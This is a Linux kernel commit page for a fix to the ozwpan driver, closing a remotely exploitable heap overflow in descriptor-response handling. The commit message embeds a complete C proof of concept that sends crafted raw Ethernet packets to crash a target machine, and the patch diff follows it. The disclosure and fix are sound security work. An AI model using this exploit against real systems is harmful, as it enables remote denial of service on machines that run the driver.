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author | Jason A. Donenfeld <Jason@zx2c4.com> | 2015-05-29 11:06:58 (GMT) |
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committer | Greg Kroah-Hartman <gregkh@linuxfoundation.org> | 2015-05-30 19:33:53 (GMT) |
commit | d114b9fe78c8d6fc6e70808c2092aa307c36dc8e (patch) | |
tree | 3c44eae0cb6b680b4ba43047f841249dc9ccc9e7 | |
parent | a8acb4d33d476b5a5f1c549b404bfa49d73cf8b6 (diff) | |
download | linux-d114b9fe78c8d6fc6e70808c2092aa307c36dc8e.tar.xz |
ozwpan: Use proper check to prevent heap overflow
Since elt->length is a u8, we can make this variable a u8. Then we can
do proper bounds checking more easily. Without this, a potentially
negative value is passed to the memcpy inside oz_hcd_get_desc_cnf,
resulting in a remotely exploitable heap overflow with network
supplied data.
This could result in remote code execution. A PoC which obtains DoS
follows below. It requires the ozprotocol.h file from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
} __packed connect_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 35,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
}
};
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_get_desc_rsp oz_get_desc_rsp;
} __packed pwn_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(1)
},
.oz_elt = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_get_desc_rsp) - 2
},
.oz_get_desc_rsp = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_GET_DESC_RSP,
.req_id = 0,
.offset = htole16(0),
.total_size = htole16(0),
.rcode = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
usleep(300000);
if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
Acked-by: Dan Carpenter <dan.carpenter@oracle.com>
Cc: stable <stable@vger.kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
-rw-r--r-- | drivers/staging/ozwpan/ozusbsvc1.c | 13 |
1 files changed, 9 insertions, 4 deletions
diff --git a/drivers/staging/ozwpan/ozusbsvc1.c b/drivers/staging/ozwpan/ozusbsvc1.c index d434d8c..b573ad3 100644 --- a/drivers/staging/ozwpan/ozusbsvc1.c +++ b/drivers/staging/ozwpan/ozusbsvc1.c @@ -390,10 +390,15 @@ void oz_usb_rx(struct oz_pd *pd, struct oz_elt *elt) case OZ_GET_DESC_RSP: { struct oz_get_desc_rsp *body = (struct oz_get_desc_rsp *)usb_hdr; - int data_len = elt->length - - sizeof(struct oz_get_desc_rsp) + 1; - u16 offs = le16_to_cpu(get_unaligned(&body->offset)); - u16 total_size = + u16 offs, total_size; + u8 data_len; + + if (elt->length < sizeof(struct oz_get_desc_rsp) - 1) + break; + data_len = elt->length - + (sizeof(struct oz_get_desc_rsp) - 1); + offs = le16_to_cpu(get_unaligned(&body->offset)); + total_size = le16_to_cpu(get_unaligned(&body->total_size)); oz_dbg(ON, "USB_REQ_GET_DESCRIPTOR - cnf\n"); oz_hcd_get_desc_cnf(usb_ctx->hport, body->req_id, |